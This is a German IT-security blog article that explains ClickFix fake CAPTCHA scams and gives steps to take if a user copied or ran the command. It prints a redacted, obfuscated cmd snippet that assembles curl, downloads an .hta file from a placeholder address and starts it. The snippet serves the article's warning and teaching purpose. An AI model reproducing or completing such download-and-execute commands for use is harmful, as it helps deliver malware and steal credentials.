IT-SICHERHEIT · WINDOWS
CAPTCHA verlangt Windows + R? Dann abbrechen.
Gefälschte Sicherheitsprüfungen verleiten dazu, fremde Befehle auf dem PC zu starten. So lässt sich ClickFix erkennen – und im Verdachtsfall sicher reagieren.
CA. 5 MIN LESEZEIT
Ein vertrautes Logo, ein Hinweis auf die Verbindungsprüfung und ein Klick auf „Kein Roboter“: So beginnt die Falle. Die nächsten Schritte sollen dann außerhalb des Browsers stattfinden.
Entscheidend ist, wie weit die Aufforderung befolgt wurde. Nur kopierter Text erfordert andere Maßnahmen als ein möglicherweise gestarteter Befehl.
KURZ GESAGT
KURZ GESAGTBeim Windows-Befehl abbrechen.
- Für ein CAPTCHA niemals fremde Windows-Befehle starten.
- Nur kopiert: Seite schließen und Zwischenablage bereinigen.
- Möglicherweise ausgeführt: Verbindung trennen und IT informieren.
So lässt sich die Falle erkennen
Eine echte CAPTCHA-Prüfung braucht weder das Windows-Fenster „Ausführen“ noch PowerShell oder ein Terminal. Auch eine bekannte Webseite oder ein vertrautes Logo macht diese Aufforderung nicht sicher. Die Universität Münster warnt ausdrücklich vor solchen gefälschten Prüfungen.
Hinter der Masche steckt häufig ClickFix. Beim Klick auf die angebliche Prüfung kann die Seite einen Befehl in die Zwischenablage kopieren. Wird er in einem Befehlsfenster gestartet, kann er Schadsoftware nachladen – etwa zum Stehlen von Zugangsdaten. ClickFix bezeichnet die Methode, kein einzelnes Virus. Microsoft beschreibt verschiedene Varianten.
Was der kopierte Befehl machen sollte
In der Zwischenablage stand eine verschleierte Download- und Startanweisung. Dieser gekürzte Ausschnitt zeigt das Muster; Adresse und Dateipfad sind durch Platzhalter ersetzt:
... %COMSPEC% ... /m^i^n ... /v:on ...
set x=cu&set c=rl
... !x!!c! -skLo "[DATEI].hta" [DOWNLOAD-ADRESSE] ...
... start "" "[DATEI].hta" ...
rem Human verification: press Enter to continue- Fenster verkleinern:
%COMSPEC%ruft normalerweise die Windows-Eingabeaufforderung auf./m^i^nverschleiert die Anweisung, das neue Fenster minimiert zu öffnen. - Download verstecken: Aus
cuundrlwirdcurl. Die Optionen unterdrücken Meldungen, folgen Weiterleitungen und speichern eine Datei.-küberspringt bei HTTPS zusätzlich die Zertifikatsprüfung. - Fremden Inhalt starten: Der Befehl soll eine
.hta-Datei im lokalen Benutzerprofil ablegen und öffnen. Solche Windows-Anwendungen können Skriptcode ausführen. - Sicherheit vortäuschen: Alles nach
remist Kommentar. „Human verification“ macht den Download nicht zu einer Menschenprüfung.
Die Analyse beschreibt die Absicht des Befehlstextes. Ob Download und Start tatsächlich funktionierten oder welche Schadsoftware dahintersteckte, ist damit nicht nachgewiesen. Technische Grundlagen: Microsoft zu cmd, Microsoft zu start und curl-Dokumentation.
Was nach einem Klick zu tun ist
Nur geklickt oder den Befehl kopiert
Das Kopieren allein startet diesen Windows-Befehl noch nicht. Die verdächtige Seite schließen und einen selbst gewählten harmlosen Text kopieren. Bei aktiviertem Zwischenablageverlauf den verdächtigen Eintrag zusätzlich entfernen. Den Inhalt nicht zum Nachsehen in „Ausführen“ oder ein Terminal einfügen.
Schon eingefügt, gestartet oder unsicher
Steht der Text sicher nur im noch unbestätigten „Ausführen“-Feld, das Fenster abbrechen. In Terminal oder PowerShell können Zeilenumbrüche bereits beim Einfügen eine Ausführung auslösen. Wer nicht sicher weiß, was passiert ist, sollte vorsichtshalber von einer möglichen Ausführung ausgehen.
BEI AUSFÜHRUNG ODER UNSICHERHEIT
Schon ausgeführt: Was jetzt zuerst wichtig ist
- Verbindung trennen. WLAN ausschalten und ein angeschlossenes Netzwerkkabel ziehen. Auf dem verdächtigen PC nicht weiterarbeiten und keine neuen Passwörter eingeben.
- IT informieren. Bei einem Geschäftsgerät sofort den zuständigen IT-Ansprechpartner über ein anderes Gerät kontaktieren. Neustarts, Scans und weitere Eingriffe mit der IT abstimmen.
- Ablauf festhalten. Zeitpunkt, besuchte Adresse und ausgeführte Schritte notieren. Vorhandene Screenshots erhalten, die Seite dafür nicht erneut öffnen. Keine verdächtigen Dateien auf Verdacht manuell löschen.
- Konten von einem sauberen Gerät sichern. Betroffene Passwörter ändern, bestehende Anmeldungen über die Kontoeinstellungen abmelden und Anmeldeaktivität sowie zusätzliche Anmeldesicherung prüfen. Besonders wichtig ist das E-Mail-Konto.
Netztrennung, Meldung und Passwortwechsel von einem vertrauenswürdigen anderen Gerät entsprechen den Empfehlungen der Universität Münster. Passwortwechsel und das Abmelden bestehender Sitzungen sind getrennte Schritte. Für private Microsoft-Konten gibt es beispielsweise „Überall abmelden“; die Abmeldung kann dort bis zu 24 Stunden dauern.
ERGÄNZENDE SELBSTPRÜFUNG
Den privaten Windows-PC ergänzend prüfen
Ein Virenscan kann Schadsoftware finden. Ein unauffälliger Scan beweist keine vollständige Bereinigung. Bereits gestohlene Daten werden dadurch nicht zurückgeholt. Bei einem Geschäftsgerät zuerst die zuständige IT einbeziehen. Einen bereits getrennten PC nicht einfach zum Aktualisieren wieder verbinden.
Vollständige Überprüfung
Im Startmenü Windows-Sicherheit öffnen. Unter Viren- & Bedrohungsschutz → Scanoptionen → Vollständige Überprüfung den Scan starten und die angezeigten Maßnahmen beachten. Verdächtige Funde nicht als „zulässig“ freigeben. Ist ein anderer Virenschutz aktiv, dessen Prüffunktion verwenden, statt zwei Echtzeitschutzprogramme parallel einzurichten.
Zusätzliche Offlineüberprüfung
Wenn angeboten, kann unter denselben Scanoptionen Microsoft Defender Antivirus (Offlineüberprüfung) gewählt werden. Sie startet den PC neu und führt einen ergänzenden Schnellscan außerhalb des normalen Windows-Betriebs aus. Vorher offene Arbeit speichern und bei Geräteverschlüsselung den BitLocker-Wiederherstellungsschlüssel bereithalten. Fehlt er, Unterstützung holen und keine Schutzfunktion abschalten.
Ergebnisse anschließend im Schutzverlauf ansehen. Microsoft erklärt die Scanarten und Voraussetzungen der Offlineüberprüfung. Bei bestätigter oder ungeklärter Infektion kann eine sauber vorbereitete Neuinstallation nötig sein. Dateien müssen vorher gesichert und geprüft werden; Daten und Programme können bei der Neuinstallation verloren gehen.
Virenschutz betreuen. Verdachtsfälle klären.
Aktueller Virenschutz, Updates und geprüfte Sicherungen helfen bei der Vorsorge. Im Rahmen der IT-Systembetreuung richtet it-günter.de passende Virenschutzprogramme ein, betreut sie und ordnet Meldungen ein.
Bei einem Verdacht unterstützt it-günter.de bei Prüfung, Bereinigung und gegebenenfalls einer Neuinstallation. Leistungsumfang und Lizenzen richten sich nach Situation und vereinbarter Betreuung.
HÄUFIGE FRAGEN
Kurz geklärt.
Die Tastenkombination öffnet eine normale Windows-Funktion. Das Warnsignal ist die Aufforderung einer angeblichen CAPTCHA-Prüfung, dort fremde Befehle einzufügen und zu starten.
Nein. Nach einem Start können weitere Dateien oder Änderungen entstanden sein. Das Löschen einer einzelnen Datei beweist keine Bereinigung.
Sie verbessert den Kontoschutz deutlich, ersetzt aber keinen sicheren Rechner. Manche Angriffe stehlen auch vorhandene Anmeldesitzungen. Deshalb nach einem Vorfall sowohl Konten als auch bestehende Sitzungen prüfen.
DIREKTER ANSPRECHPARTNER
Verdächtige Prüfung gesehen?
Mario Günter
Bitte von einem sauberen Gerät melden und kurz angeben: nur geklickt, kopiert oder möglicherweise ausgeführt.
Quellenstand: 28.10.2026. Die verlinkten Primärquellen erklären die Angriffsmethode, sichere Erstmaßnahmen und die Windows-Prüffunktionen. Ergänzend: Zwischenablageverlauf und Einfügen mehrerer Zeilen im Terminal.
Ein Thema mehr.
VORHERIGER BEITRAG
KI-Anwendungen erstellen lassen: von der Idee zum betreuten Betrieb
Von der ersten Idee bis zu Hosting und laufender Betreuung.